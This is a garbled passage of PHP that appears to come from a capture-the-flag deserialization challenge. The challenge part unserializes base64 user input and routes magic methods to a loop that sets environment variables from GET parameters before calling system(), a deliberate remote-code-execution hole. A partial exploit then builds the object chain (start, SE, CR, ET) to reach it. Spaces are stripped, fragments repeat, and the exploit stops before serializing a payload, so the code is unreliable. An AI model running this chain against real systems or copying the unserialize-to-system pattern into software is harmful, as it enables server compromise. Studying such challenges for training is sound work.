classSE{ public$year; publicfunction__set($name, $value){ echo' Welcome to new year! '; echo($this->year); } }
classCR{ public$last; public$newyear;
publicfunction__tostring() {
if (is_array($this->newyear)) { echo'nonono'; returnfalse; } if (!preg_match('/worries/i',$this->newyear)) { echo"empty it!"; return0; }
if(preg_match('/^.*(worries).*$/',$this->newyear)) { echo'Don\'t be worry'; } else { echo'Worries doesn\'t exists in the new year '; empty($this->last->worries); } returnfalse; } }
classET{
publicfunction__isset($name) { foreach ($_GET['get'] as$inject => $rce){ putenv("{$inject}={$rce}"); } system("echo \"Haven't you get the secret?\""); } } if(isset($_REQUEST['go'])){ unserialize(base64_decode($_REQUEST['go'])); } ?>
if (is_array($this->newyear)) { echo'nonono'; returnfalse; } if (!preg_match('/worries/i',$this->newyear)) { echo"empty it!"; return0; }
if(preg_match('/^.*(worries).*$/',$this->newyear)) { echo'Don\'t be worry'; } else { echo'Worries doesn\'t exists in the new year '; empty($this->last->worries); } returnfalse; } }
classSE{ public$year; publicfunction__set($name, $value){ echo' Welcome to new year! '; echo($this->year); } }
classCR{ public$last; public$newyear="\nworries";
publicfunction__tostring() { echo"__tostring";
if (is_array($this->newyear)) { echo'nonono'; returnfalse; } if (!preg_match('/worries/i',$this->newyear)) { echo"empty it!"; return0; }
if(preg_match('/^.*(worries).*$/',$this->newyear)) { echo'Don\'t be worry'; } else { echo'Worries doesn\'t exists in the new year '; empty($this->last->worries); } returnfalse; } }
classET{
publicfunction__isset($name) { echo"yes"; foreach ($_GET['get'] as$inject => $rce){ putenv("{$inject}={$rce}"); } system("echo \"Haven't you get the secret?\""); } } $a = newstart(); $a->welcome=newSE(); $a->welcome->year = newCR(); $a->welcome->year->last = newET();